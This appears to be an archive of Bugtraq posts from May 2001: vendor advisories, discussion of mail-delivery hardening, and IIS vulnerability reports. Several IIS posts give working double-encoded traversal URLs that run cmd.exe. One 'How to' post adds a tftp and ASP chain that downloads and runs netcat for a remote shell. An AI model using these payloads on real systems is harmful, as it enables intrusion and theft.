Re: Personal Web Sharing remote stop
At 12:30 PM +0200 5/15/01, Terje Bless wrote: On 10.05.01 at 07:32, Jass Seljamaa [EMAIL PROTECTED] wrote: Personal Web Sharing Remote Stop. [...] Solution: Nothing. Vendor not contacted, I\'m sure he\'s aware of that. Since Apple *still* aren't reading Bugtraq I'm going to report this to their bug tracking system. I'll refer them to you if you don't mind? I might not read every message on Bugtraq (who can?) but I skim the subjects looking for Mac OS X topics. And I doubt I'm the only Mac OS X engineer that does this. You should still send bug reports directly to Apple. BTW, if anyone has contacts at Apple _please_ bug them about starting to take security seriously! We do. We might not do exactly what _you_ want though. Apple's World Wide Developer Conference is next week in San Jose. There might be some Mac OS X security news there... -pmb
Re: Personal Web Sharing remote stop
On 16.05.01 at 14:41, Peter Bierman [EMAIL PROTECTED] wrote: At 12:30 PM +0200 5/15/01, Terje Bless wrote: Since Apple *still* aren't reading Bugtraq [...] I might not read every message on Bugtraq (who can?) but I skim the subjects looking for Mac OS X topics. And I doubt I'm the only Mac OS X engineer that does this. Great! That's a huge step up from what the situation appeared to be. But it's still not good that Apple to all appearances has no Point of Contact for security issues, no Advisory channel, doesn't send advisory-ish things to Bugtraq (especially for things that were reported here in the first place), doesn't respond (AFAICT) to security issues reported as bugs using normal channels, doesn't have a Security Issue option in the BugReporter, doesn't provide their own security-related mailinglist, and releases stealth security fixes. All of which have been reported as bugs in BugReporter (after the worst b0rkenness in /that/ horror was fixed this winter). You should still send bug reports directly to Apple. I have, I do, and I will. Repeatedly! :-) BTW, if anyone has contacts at Apple _please_ bug them about starting to take security seriously! We do. We might not do exactly what _you_ want though. Fair enough. Still, I insist on retaining my right to disagree that your security strategy is a good or even remotely complete one. If I ever found such a beast I might change my mind, but digging around Apple for security related info is an excercise in futility. I admin all kinds of platforms, and right now, Apple is the one sore thumb that sticks out as having no visible security strategy at all (don't the sales drones realize the potential for PR disaster inherent in that situation?). All other major vendors have /some/ kind of security channel and at a minimum a token appearance on Bugtraq or similar. Apple gives the appearance of having it's head in the sand... ( I bugged Wilfredo about this before he left and he said he'd pass it on; did anyone pick up that ball? Public info hasn't changed, but maybe something is happening internally? ) Apple's World Wide Developer Conference is next week in San Jose. There might be some Mac OS X security news there... Wish I could be there, but alas... :-( I don't suppose key events will be streamed? -pmb Good to see you're still alive. Last time I saw a life-sign from you you were futzing with the Rhapsody intaller or somesuch before the first release. :-)
UNICODE2 (2708)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hi all I tested Microsoft IIS CGI Filename Decode Error Vulnerability on Personal Web Server v1.0 and v3.0 on win98 and is vulnerable. i use /scripts/..%255c..%255c and %%35c , %%35%63 , %25%35%63 Kachlik Jan -BEGIN PGP SIGNATURE- Version: PGPfreeware 6.5.8 for non-commercial use http://www.pgp.com iQA/AwUBOwJLZCBUZIferCyJEQKALwCgoPa9XX7UjbcSiWDmbjQTTvaAz2sAoJhR ejDh3ZByrXLmd6b4j++76s6O =7++w -END PGP SIGNATURE-
Re: RH7.0: man local gid 15 (man) exploit
FYI, still doesn't work on Slackware 7.1 $ man -S : blah No manual entry for blah $ $ man -S : blah blah: nothing appropriate $ I have tried the other command to try to get man to segfault with a supplied arguement, still nothing. $ man -S `perl -e 'print : x 100'` blah No manual entry for blah $ On Wed, 16 May 2001, Stephen Shirley wrote: Hi, The info posted to get man to seg fault is slightly incorrect. You need to supply some text as the name of a man page - otherwise man will reject all input. The number of :'s is irrelevat too - one is enough. man -S : blah will cause a seg fault. This has been confirmed on debian 2.2 woody, and I submitted a patch to fix it. The new version is in unstable - ver 2.3.18-2. From the changelog of 2.3.18-2: * man would segfault if the argument to -S contained only colons, and incidentally treated an empty argument to -S wrongly. Both cases now use the standard list of sections instead (thanks, Colin Phipps and Stephen Shirley; closes: #97553, #97566). Steve -- My mom had Windows at work and it hurt her eyes real bad PJ -- My brain needs a new OS - it can't stay up for much longer than 24 hours without a reboot.
Re: Solaris /usr/bin/mailx exploit (SPARC)
[ On Tuesday, May 15, 2001 at 14:47:02 (-0700), Tobias J. Kreidl wrote: ] Subject: Re: Solaris /usr/bin/mailx exploit (SPARC) Andrew Hilborne [EMAIL PROTECTED] wrote on Tue, 15 May 2001 14:15:45 +0100: Just how do you force 0600 on mailboxes which don't exist (many MUAs remove empty mailboxes?) Since you cannot easily do this, at the very least a malicious user should be able to steal other users' mail. I think. 1) The permissions 1777 on /var/mail should allow empty mailboxes to remain under most circumstances. One should be careful what IMAP and POP services are running on your machine and how they handle this. 2) When a new user account is first established, it is imperative that a mailbox be created at that time with the proper ownerships and file permissions. 3) A cron job can help monitor any discrepancies between existing and desired file attributes of mailboxes in /var/mail and rectify them on the fly. That's all true, in so far as it goes, but it does leave the system open to far more risk than is necessary in that the local delivery agent must still run as root. Having implemented what I hope to be a secure and portable fopen_as_user() function I can assure you that even the apparently simple job of doing local delivery from a privileged position isn't really all that simple at all. If the calling process isn't expecting to exit within such a function then you have to fork() and with careful error checking and few comments the resulting code is well over 200 lines long! Indeed if you're going to go to all the trouble of pre-creating mailboxes and ensuring that empty ones are left behind by all mail reading agents then it's trivial to implement setgid-mail delivery on even systems which don't allow ordinary users to use chown(2). I.e. it's trivial, even on such systems, to avoid having to use root privileges in any part of the local mail system! In my estimation the risk resulting from a successfull group-ID mail compromise is still almost infinitely less than the risk of a root compromise, regardless of what the system involved is used for! -- Greg A. Woods +1 416 218-0098 VE3TCP [EMAIL PROTECTED] [EMAIL PROTECTED] Planix, Inc. [EMAIL PROTECTED]; Secrets of the Weird [EMAIL PROTECTED]
Re: NSFOCUS SA2001-02 : Microsoft IIS CGI Filename Decode Error Vulnerability
Hi - Here we want to explain why exploitation of this vulnerability fails in some cases. The vulnerability exists in both IIS 4.0 and IIS 5.0, but exploitation of it would fail for some factors. 1. Why NT 4 SP6(SP6a) is not affected? That's because SP6(a) will perform a check for the existence of requested file after the first decoding. Attack will fail for files like C:\interpub\scripts\..%5c..%5c..%5cwinnt\system\cmd.exe don not actually exist. But this check of SP6 seems to be just a temporary fix to address some certain vulnerability. And it was removed in some following hotfixes. Thus, if you have only applied SP6(a) for your NT 4, you would not be affected by this vulnerability. 2. Will systems with patch provided by MS00-078(MS00-057) be affected? MS00-078 and MS00-057 provide the same patch, which will perform a check of filename for .\ and ./ after the first decoding. In case that such characters exist, request would be denied. Thus, it only casually addresses UNICODE vulnerability. By covering ./ or .\ after the first decoding, an attacker can still successfully make use of Decoding error vulnerability. For example: ..%255c..%255cwinnt/system32/cmd.exe will be converted into ..%5c..%5cwinnt/system32/cmd.exe after the first decoding. Thus the request can bypass the security check. But ..%255c../winnt/system32/cmd.exe will be converted into ..%5c../winnt/system32/cmd.exe after the first decoding. Thus the attack fails since the decoded name contains './'. 3. Will systems with patch provided by MS00-086 be affected? The patch provided by MS00-086 successfully addressed the UNICODE vulnerability. But Microsoft has updated the patches for some times. First versions will provide filename check for some dangerous characters like '%' or '' after the first decoding. Thus, you will not be affected by Decoding error vulnerability if you apply these versions. But Microsoft remove the check again in the final version of the patch, apply which will make your system affected. Regards, Nsfocus Security Team [EMAIL PROTECTED] http://www.nsfocus.com
def-2001-26: IIS WebDav Lock Method Memory Leak DoS
== Defcom Labs Advisory def-2001-26 IIS WebDav Lock Method Memory Leak DoS Author: Peter Gründl [EMAIL PROTECTED] Release Date: 2001-05-17 == =[Brief Description]=- The WebDav extensions for Internet Information Server 5.0 contain a flaw that could allow a malicious user to consume all available memory on the server. =[Affected Systems]=-- - httpext.dll versions prior to 0.9.3940.21 (Windows 2000 SP2) --=[Detailed Description]= The lock method contains a memory leak that will trigger if you send it continous requests for non-existing files. Eg. LOCK /aa.htw HTTP/1.0 Eventually the server will run out of memory and run really slow, you might argue that the server will then crash, reboot and return to normal again, but there are a few things that can be done to determine when you get close to filling up the servers memory, and then it is just a matter of stopping, and the server won't free the memory. One way is to combine the attack with asp executions, eg. GET /iisstart.asp?uc=a HTTP/1.0 which ofcourse requires the presence of iisstart.asp (but this is just an example). The script will return execution errors when it runs out of temporary space on the server to execute the .asp script and that's when the server is almost out of memory. ---=[Workaround]=- The problem has been corrected in httpext.dll v.0.9.3940.21, which is packaged with Windows 2000 Service Pack 2 and according to Microsoft: it will ship with each IIS5 hotfix that we release going forward (and will be available for SP0, SP1, and SP2+.) You can find Service Pack 2 on Microsofts webpage at: www.microsoft.com/windows2000/downloads/servicepacks/sp2/default.asp -=[Vendor Response]=-- This issue was brought to the vendor's attention on the 3rd of March, 2001, and the vendor released a patch on the 16th of May. == This release was brought to you by Defcom Labs [EMAIL PROTECTED] www.defcom.com ==
Re: Solaris /usr/bin/mailx exploit (SPARC)
Indeed if you're going to go to all the trouble of pre-creating mailboxes and ensuring that empty ones are left behind by all mail reading agents then it's trivial to implement setgid-mail delivery on even systems which don't allow ordinary users to use chown(2). I.e. it's trivial, even on such systems, to avoid having to use root privileges in any part of the local mail system! Dependign on which loss of features you're willing to accept, it's usually not practical to run mail delivery as a non-privileged user; currently, we need to do deliver as superuser because of the actual delivery runs as the destination user. If you don't run delivery as the targeted user, you can have unrestricted .forward files (those are a risk in themselves but tools like procmail cannot easily be run under an unprivilegd accoutn on behalf of a user. AS things stand today, there doesn't seem to be any reason to continue the use of set-gid mail in Solaris, except that some code changes will be necessary (or mailboxes will be created mode 660, group pwd-pw_gid Casper
IIS CGI Filename decode error = financial industry server vulnerability
I work with a company that has a financial services vendor that ships their customized IIS4 systems with everyone/full control on C: or else it breaks the application. Of course, these perms reach the winnt/system32 dir, but I used cacls to restrict winnt/system32/*.exe from the IUSR account with success. The only thing funky about this solution, is that when cmd.exe is restricted in such a manner, the user (if using IE) receives a challenge-response, allowing at least some attempt to brute force the admin account (vendor sets very weak default passwords). This particular vendor supplies a lot of credit unions. They are currently testing the MS patch to determine if it will function properly on their customized version of IIS 4. The system is designed to run behind a decent firewall such as the Cisco PIX, and I feel that this fact has created a false sense of black box security. The defense-in-depth posture of this company is somewhat weak, but one of their managers shows a lot of promise in terms of tightening the companys security stance. It seems that most of the exploit code and examples focuses on using cmd.exe. In this particular everyone/full control scenario, there are various other executables are available such as route, net, tftp, findstr, netstat, tracerte, ipconfig, ping, etc. that can receive parameters and for some (tftp, ftp, telnet, ping) open up a back-channel in a stateful firewall unless outgoing packets are filtered. It appears that routes can be modified as well but I was not successful in my particular test. Like unicode and other exploits of this nature, it seems pretty easy for an attacker to set up a tftp server and craft a command line to retrieve something like netcat or a trojan from an external site and store it in a writeable area. Internal networks could really be screwed, esp with something like Sir Dystics SMBrelay being used. I won't reveal any more information at this point about the particular vendor, until they release their results or their own customized patch. I am expecting some type of result from them within 12 hours of this message. This vendors security notification service has been pretty slow in the past, but attackers don't wait. If you are a credit union with an in-house home banking service, please contact me and we can discuss further if necessary. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= | Curt R. Wilson * Netw3 Consulting * www.netw3.com| |Internet Security, Networking, PC tech, WWW hosting | | Netw3 Security Reading Room : www.netw3.com/documents.html | | Serving Southern Illinois locally and the world virtually | |[EMAIL PROTECTED] 618-303-NET3 | =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Microsoft IIS CGI Filename Decode Error V - How to
Thats what I did: http://192.168.0.1/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.ex e?/c+tftp.exe+-i+192.168.0.2+GET+f.asp+c:\inetpub\scripts\f.asp then i ran http://192.168.0.1/f.asp following is a copy of the f.asp: --cut here- % Set fs = CreateObject(Scripting.FileSystemObject) Set drv = fs.Drives dmax = dmac = 0 For each d in drv If d.Driveletter A And d.IsReady Then If d.AvailableSpace dmac then dmac = d.AvailableSpace dmab = d.DriveType dmaa = d.TotalSize dmad = d.SerialNumber dmax = d.DriveLetter End If End If Next filename = server.mappath(dl.bat) Set tf = fs.CreateTextFile(filename, True) tf.WriteLine(@echo off) tf.WriteLine(cd \Inetpub\scripts) tf.WriteLine(startDL:) tf.WriteLine(tftp.exe -i 192.168.1.33 get ncx99.exe c:\inetpub\scripts\nc0.exe) tf.WriteLine(if not exist ncx99.exe goto startDL) tf.WriteLine(start /w nc0.exe) tf.WriteLine(attrib TFTP* -r) tf.WriteLine(attrib nc0.exe -r) tf.WriteLine(del TFTP*) tf.WriteLine(exit) tf.Close dim command dim wshShell command = server.mappath(dl.bat) dmax On Error Resume Next Set wshShell = CreateObject(WScript.Shell) wshShell.Run (command) If Err Then Set objFSO = Server.CreateObject(scripting.filesystemobject) pathname = server.mappath(dl.bat) objFSO.DeleteFile pathname Set objFSO = Nothing Else Response.Write | dmax * dmab * dmac * dmaa * dmad End If % ---cut here--
[RHSA-2001:063-02] Updated gnupg packages available
- Red Hat, Inc. Red Hat Security Advisory Synopsis: Updated gnupg packages available Advisory ID: RHSA-2001:063-02 Issue date:2001-05-02 Updated on:2001-05-16 Product: Red Hat Linux Keywords: gnupg klima rosa Cross references: Obsoletes: RHSA-2000:131 - 1. Topic: Updated gnupg packages are now available for Red Hat Linux 6.2, 7, and 7.1. These updates address a potential vulnerability which could allow an attacker to compute a user's secret key. 2. Relevant releases/architectures: Red Hat Linux 6.2 - alpha, i386, sparc Red Hat Linux 7.0 - alpha, i386 Red Hat Linux 7.1 - i386 3. Problem description: By modifying an unsuspecting user's private keyring, an attacker can cause a user to generate incorrect signatures for data. If a user generates both a correct and an incorrect signature for the same data, the different signatures can be used to compute the user's secret key. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. 5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info): 33473 - secret keyring compromise leading to secret key disclosure 6. RPMs required: Red Hat Linux 6.2: SRPMS: ftp://updates.redhat.com/6.2/en/os/SRPMS/gnupg-1.0.5-0.6.x.src.rpm alpha: ftp://updates.redhat.com/6.2/en/os/alpha/gnupg-1.0.5-0.6.x.alpha.rpm i386: ftp://updates.redhat.com/6.2/en/os/i386/gnupg-1.0.5-0.6.x.i386.rpm sparc: ftp://updates.redhat.com/6.2/en/os/sparc/gnupg-1.0.5-0.6.x.sparc.rpm Red Hat Linux 7.0: SRPMS: ftp://updates.redhat.com/7.0/en/os/SRPMS/gnupg-1.0.5-1.src.rpm alpha: ftp://updates.redhat.com/7.0/en/os/alpha/gnupg-1.0.5-1.alpha.rpm i386: ftp://updates.redhat.com/7.0/en/os/i386/gnupg-1.0.5-1.i386.rpm Red Hat Linux 7.1: SRPMS: ftp://updates.redhat.com/7.1/en/os/SRPMS/gnupg-1.0.5-1.src.rpm i386: ftp://updates.redhat.com/7.1/en/os/i386/gnupg-1.0.5-1.i386.rpm 7. Verification: MD5 sum Package Name -- 89938a0670ba2588cf0c109c05b2a604 6.2/en/os/SRPMS/gnupg-1.0.5-0.6.x.src.rpm 338782bd895ab81fb7e84d36005fa95e 6.2/en/os/alpha/gnupg-1.0.5-0.6.x.alpha.rpm 3ff455f2312c083994ab7e9c7369e325 6.2/en/os/i386/gnupg-1.0.5-0.6.x.i386.rpm bae79560d0a6cde8746492d15a57ec19 6.2/en/os/sparc/gnupg-1.0.5-0.6.x.sparc.rpm 3a7fed8e807ccb992ce0e05d0a7bbdff 7.0/en/os/SRPMS/gnupg-1.0.5-1.src.rpm 3b84f8fcdd97846ec3435bcdc0a8e4c5 7.0/en/os/alpha/gnupg-1.0.5-1.alpha.rpm c5633eb35d1dc7c753da7ea850eba864 7.0/en/os/i386/gnupg-1.0.5-1.i386.rpm 3a7fed8e807ccb992ce0e05d0a7bbdff 7.1/en/os/SRPMS/gnupg-1.0.5-1.src.rpm c5633eb35d1dc7c753da7ea850eba864 7.1/en/os/i386/gnupg-1.0.5-1.i386.rpm These packages are GPG signed by Red Hat, Inc. for security. Our key is available at: http://www.redhat.com/corp/contact.html You can verify each package with the following command: rpm --checksig filename If you only wish to verify that each package has not been corrupted or tampered with, examine only the md5sum with the following command: rpm --checksig --nogpg filename 8. References: http://lists.gnupg.org/pipermail/gnupg-announce/2001-April/000238.html http://www.i.cz/en/pdf/openPGP_attack_ENGvktr.pdf Copyright(c) 2000, 2001 Red Hat, Inc.
[RHSA-2001:060-04] Updated Kerberos 5 packages available
- Red Hat, Inc. Red Hat Security Advisory Synopsis: Updated Kerberos 5 packages available Advisory ID: RHSA-2001:060-04 Issue date:2001-04-26 Updated on:2001-05-16 Product: Red Hat Linux Keywords: kerberos ftpd glob Cross references: Obsoletes: RHSA-2001:025 - 1. Topic: Updated Kerberos 5 packages are now available for Red Hat Linux 6.2, 7, and 7.1. These updates close a potential vulnerability present in the gssapi-aware ftpd included in the krb5-workstation package. 2. Relevant releases/architectures: Red Hat Linux 6.2 - alpha, i386, sparc Red Hat Linux 7.0 - alpha, i386 Red Hat Linux 7.1 - i386 3. Problem description: By use of a carefully-crafted authentication request, a malicious client could exploit a vulnerability made possible by a missing bounds check. A malicious client could also overflow the buffer space used by the server for performing globbing operations. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. 5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info): 34372 - krb5-server-1.2.2-4.alpha.rpm i386 compatibility 35978 - gssftp can be segfaulted remotely, possibly exploitable 6. RPMs required: Red Hat Linux 6.2: SRPMS: ftp://updates.redhat.com/6.2/en/os/SRPMS/krb5-1.1.1-27.src.rpm alpha: ftp://updates.redhat.com/6.2/en/os/alpha/krb5-configs-1.1.1-27.alpha.rpm ftp://updates.redhat.com/6.2/en/os/alpha/krb5-devel-1.1.1-27.alpha.rpm ftp://updates.redhat.com/6.2/en/os/alpha/krb5-libs-1.1.1-27.alpha.rpm ftp://updates.redhat.com/6.2/en/os/alpha/krb5-server-1.1.1-27.alpha.rpm ftp://updates.redhat.com/6.2/en/os/alpha/krb5-workstation-1.1.1-27.alpha.rpm i386: ftp://updates.redhat.com/6.2/en/os/i386/krb5-configs-1.1.1-27.i386.rpm ftp://updates.redhat.com/6.2/en/os/i386/krb5-devel-1.1.1-27.i386.rpm ftp://updates.redhat.com/6.2/en/os/i386/krb5-libs-1.1.1-27.i386.rpm ftp://updates.redhat.com/6.2/en/os/i386/krb5-server-1.1.1-27.i386.rpm ftp://updates.redhat.com/6.2/en/os/i386/krb5-workstation-1.1.1-27.i386.rpm sparc: ftp://updates.redhat.com/6.2/en/os/sparc/krb5-configs-1.1.1-27.sparc.rpm ftp://updates.redhat.com/6.2/en/os/sparc/krb5-devel-1.1.1-27.sparc.rpm ftp://updates.redhat.com/6.2/en/os/sparc/krb5-libs-1.1.1-27.sparc.rpm ftp://updates.redhat.com/6.2/en/os/sparc/krb5-server-1.1.1-27.sparc.rpm ftp://updates.redhat.com/6.2/en/os/sparc/krb5-workstation-1.1.1-27.sparc.rpm Red Hat Linux 7.0: SRPMS: ftp://updates.redhat.com/7.0/en/os/SRPMS/krb5-1.2.2-5.src.rpm alpha: ftp://updates.redhat.com/7.0/en/os/alpha/krb5-devel-1.2.2-5.alpha.rpm ftp://updates.redhat.com/7.0/en/os/alpha/krb5-libs-1.2.2-5.alpha.rpm ftp://updates.redhat.com/7.0/en/os/alpha/krb5-server-1.2.2-5.alpha.rpm ftp://updates.redhat.com/7.0/en/os/alpha/krb5-workstation-1.2.2-5.alpha.rpm i386: ftp://updates.redhat.com/7.0/en/os/i386/krb5-devel-1.2.2-5.i386.rpm ftp://updates.redhat.com/7.0/en/os/i386/krb5-libs-1.2.2-5.i386.rpm ftp://updates.redhat.com/7.0/en/os/i386/krb5-server-1.2.2-5.i386.rpm ftp://updates.redhat.com/7.0/en/os/i386/krb5-workstation-1.2.2-5.i386.rpm Red Hat Linux 7.1: SRPMS: ftp://updates.redhat.com/7.1/en/os/SRPMS/krb5-1.2.2-5.src.rpm i386: ftp://updates.redhat.com/7.1/en/os/i386/krb5-devel-1.2.2-5.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/krb5-libs-1.2.2-5.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/krb5-server-1.2.2-5.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/krb5-workstation-1.2.2-5.i386.rpm 7. Verification: MD5 sum Package Name -- 6ce2742e193047a719701d83b7178c59 6.2/en/os/SRPMS/krb5-1.1.1-27.src.rpm f21e8e6beb5a91ebca4b00af0d1daf10 6.2/en/os/alpha/krb5-configs-1.1.1-27.alpha.rpm 1b2fd96e0f9d584b8a7ab16ff8d37b7b 6.2/en/os/alpha/krb5-devel-1.1.1-27.alpha.rpm ab736f348078aee145f243f74a964be7 6.2/en/os/alpha/krb5-libs-1.1.1-27.alpha.rpm c5fa26e257ad18d1feb917f78d4af0ad 6.2/en/os/alpha/krb5-server-1.1.1-27.alpha.rpm 01370ea541a8e521d1729649c52dddb3
SuSE Security Announcement: kernel (SuSE-SA:2001:18)
-BEGIN PGP SIGNED MESSAGE- __ SuSE Security Announcement Package:kernel Announcement-ID:SuSE-SA:2001:18 Date: Thursday, May 17th, 2000 16:40 MET Affected SuSE versions: (6.1, 6.2), 6.3, 6.4, 7.0, 7.1 Vulnerability Type: local root compromise Severity (1-10):7 SuSE default package: yes Other affected systems: All Linux systems using a v2.2 kernel Content of this advisory: 1) security vulnerability resolved: kernel Problem, Workaround, Recommended solution, Instructions, Notes, Verification 2) Acknowledgements 3) standard appendix (further information) __ 1) The Problem, Workaround, Recommended solution, Instructions, Notes, Verification The Problem: The SuSE Linux kernel is a standard kernel, enhanced with a set of additional drivers and other improvements, to suit the end-user's demand for a great variety of drivers for all kind of hardware. Multiple security vulnerabilities have been found in all Linux kernels of version 2.2 before version 2.2.19. Most of the found errors allow a local attacker to gain root privileges. None of the found errors in the v2.2 linux kernel make it possible for a remote attacker to gain access to the system or to elevate privileges from the outside of the system. Thanks to Alan Cox, a summary of these errors can be found at http://www.linux.org.uk/VERSION/relnotes.2219.html . One of the numerous features in the SuSE Linux kernels is support for reiserfs, a fast, stable logging filesystem. In addition to the bugs listed at www.linux.org.uk, the SuSE Linux kernel contains a fix for a race condition between mmap(2) and write(2) in reiserfs that can expose raw data from the disk to an unprivileged user (this problem affected the ufs and ext2fs drivers in FreeBSD systems, see FreeBSD-SA-01:30.ufs-ext2fs at http://www.freebsd.org/security/). Please see the acknowledgement section 2) below for credits on hunting these bugs and fixing them. Workarounds: In order to solve the security problems, it is recommended to update the kernel to version 2.2.19. Some problems (ptrace race) can be circumvented by removing all suid and sgid bits from all binaries in the system. Since this does not help against the other errors, there is no appropriate temporary workaround against all of the known problems except for locking out users with shell access. Advanced Linux users may decide to compile and install the 2.2.19 kernel themselves by hand. This requires some experience on behalf of the administrator and may not be all satisfying because the standard 2.2.19 kernel does not contain some of the drivers that are included in the SuSE kernel (ppp over ethernet, hardware health monitoring (SMBus), reiserfs, graphics hardware acceleration modules (DRI), ...). Recommended solution: SuSE have chosen to provide update packages for the supported distributions to the newest kernels instead of supplying patched update kernel packages of the same kernel version in order to avoid confusion about whether a vulnerable version of a kernel is installed on a system or not. In addition to the clarifying effect of a visible new kernel version that is known to have all publically known security problems fixed, SAP LinuxLab (http://www.sap.com/linux/) have certified this release of the SuSE-enhanced Linux kernel version 2.2.19 with respect to stability and performance. We expect that our usership will benefit from this achievement. Currently, only kernel update packages for the Intel i386 distributions are available. The other supported architectures will have their kernel updates in their respective update directories on our ftp server. The SuSE Linux distribution 6.0 was shipped with a kernel of version 2.0. All of the SuSE Linux distributions 6.1, 6.2, 6.3, 6.4, 7.0 and 7.1 are ready for a kernel of version 2.2.19. However, since update support for the SuSE Linux distributions 6.0, 6.1 and 6.2 has been discontinued, we strongly encourage all users of these distributions to update their systems to a newer version of the SuSE Linux distribution. Please know that the full distribution can be installed from our ftp server or one of its mirrors. Experienced Linux users may choose to update their kernels by hand to the latest version 2.2.19. Step-By-Step Installation Instructions: The kernel of a Linux/Un*x system is the most critical component with relation to stability, reliability and security. By consequence, an
IIS Decode
Yes! I can confirm this . It worked on our testbed. NT 4.0 + IIS 3.0 + SP6a http://www.example.com/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cm d.exe?/c+dir+c:\ Regards, Aldo Albuquerque - CCSA Tempest Security Technologies - http://www.tempest.com.br CESAR - Centro de Estudos e Sistemas Avançados do Recife - http://www.cesar.org.br - Original Message - From: Michael Vassiliadis To: [EMAIL PROTECTED] Sent: Thursday, May 17, 2001 12:52 AM Subject: IIS Decode There has been so much talk about this new diamond from m$, but NOONE discovered that this also works on IIS 3!!!. Please confirm...
Immunix OS Security update for minicom
--- Immunix OS Security Advisory Packages updated: minicom Affected products: Immunix OS 6.2, 7.0-beta, and 7.0 Bugs Fixed: immunix/1600 Date: May 17, 2001 Advisory ID:IMNX-2001-70-020-01 Author: Greg Kroah-Hartman [EMAIL PROTECTED] --- Description: zenith parsec found numerous format string bugs in the version of minicom that is included in all versions of Immunix OS. See http://www.securityfocus.com/archive/1/181922 for more information on the exploit. FormatGuard does not stop these bugs because minicom writes directly to the log files using vsprintf calls. The following packages fix most of the format string errors and disable the setuid bit on minicom. Package names and locations: Precompiled binary package for Immunix 6.2 is available at: http://download.immunix.org/ImmunixOS/6.2/updates/RPMS/minicom-1.83.1-1.0.6x_StackGuard.i386.rpm Source package for Immunix 6.2 is available at: http://download.immunix.org/ImmunixOS/6.2/updates/SRPMS/minicom-1.83.1-1.0.6x_StackGuard.src.rpm Precompiled binary package for Immunix 7.0-beta and 7.0 is available at: http://download.immunix.org/ImmunixOS/7.0/updates/RPMS/minicom-1.83.1-8_imnx.i386.rpm Source package for Immunix 7.0-beta and 7.0 is available at: http://download.immunix.org/ImmunixOS/7.0/updates/SRPMS/minicom-1.83.1-8_imnx.src.rpm md5sums of the packages: f4782dd69e6e5ee2e87307b4d65e00db minicom-1.83.1-1.0.6x_StackGuard.i386.rpm a46af1037d8a122e747da2bf300bb4b8 minicom-1.83.1-1.0.6x_StackGuard.src.rpm 8c09d3a50c741c590f41c9e9b954a2a2 minicom-1.83.1-8_imnx.i386.rpm e81d57a5d4f6e9e712901180cd22e593 minicom-1.83.1-8_imnx.src.rpm Online version of all Immunix 6.2 updates and advisories: http://immunix.org/ImmunixOS/6.2/updates/ Online version of all Immunix 7.0-beta updates and advisories: http://immunix.org/ImmunixOS/7.0-beta/updates/ Online version of all Immunix 7.0 updates and advisories: http://immunix.org/ImmunixOS/7.0/updates/ NOTE: Ibiblio is graciously mirroring our updates, so if the links above are slow, please try: ftp://ftp.ibiblio.org/pub/Linux/distributions/immunix/ or one of the many mirrors available at: http://www.ibiblio.org/pub/Linux/MIRRORS.html PGP signature
Cisco Security Advisory: Cisco Content Service Switch 11000 Series FTP Vulnerability
-BEGIN PGP SIGNED MESSAGE- Cisco Security Advisory: Cisco Content Service Switch 11000 Series FTP Vulnerability == Revision 1.0 For Public Release 2001 May 17 at 1500 UTC Summary === The Cisco Content Service Switch (CSS) 11000 series switches do not enforce the correct restrictions for a non privileged user opening an FTP connection to them. All users with valid accounts can use the GET and PUT commands to read and write any file on the system. This vulnerability results in users gaining access to secure data. This vulnerability is documented as Cisco bug ID CSCdt64682. This advisory will be posted at http://www.cisco.com/warp/public/707/arrowpoint-ftp-pub.shtml. Affected Products = The CSS 11000 series switches (formerly known as Arrowpoint), consist of the CSS 11050, CSS 11150 and CSS 11800 hardware platforms. They run the Cisco WebNS Software. All switches running the following WebNS software revisions are affected by this vulnerability * earlier than 4.01B23s * earlier than 4.10B13s No other Cisco product is currently known to be affected by this vulnerability. To determine your software revision, type version at the command line prompt. Details === A non privileged user (user account without administrative privileges) can open an FTP connection to a CSS 11000 series switch and use GET and PUT FTP commands, with no user level restrictions enforced. This vulnerability is documented as Cisco bug ID CSCdt64682, which requires a CCO account to view. Impact == A non privileged user can gain access to files on the switch they normally would not have access to. This vulnerability can be minimized by restricting ftp access to the CSS 11000 series switch. Software Versions and Fixes === This vulnerability has been fixed in the following Cisco WebNS software revisions * 4.01B23s or later * 4.10B13s or later Obtaining Fixed Software Cisco is offering free software upgrades to remedy this vulnerability for all affected customers. Customers with service contracts may upgrade to any software release containing the feature sets they have purchased. Customers with contracts should obtain upgraded software through their regular update channels. For most customers, this means that upgrades should be obtained via the Software Center on Cisco's Worldwide Web site at http://www.cisco.com. Customers without contracts should get their upgrades by contacting the Cisco Technical Assistance Center (TAC). TAC contacts are as follows: * +1 800 553 2447 (toll free from within North America) * +1 408 526 7209 (toll call from anywhere in the world) * e-mail: [EMAIL PROTECTED] See http://www.cisco.com/warp/public/687/Directory.shtml for additional TAC contact information, including instructions and e-mail addresses for use in various languages. Give the URL of this notice as evidence of your entitlement to a free upgrade. Free upgrades for non contract customers must be requested through the TAC. Please do not contact either [EMAIL PROTECTED] or [EMAIL PROTECTED] for software upgrades. Workarounds === Don't configure non-privileged users on the switch. ( None are created by default. ) Use the restrict command to enable or disable FTP access to the CSS. ( FTP access is enabled by default.) (config)# restrict ftp Access control lists can be applied 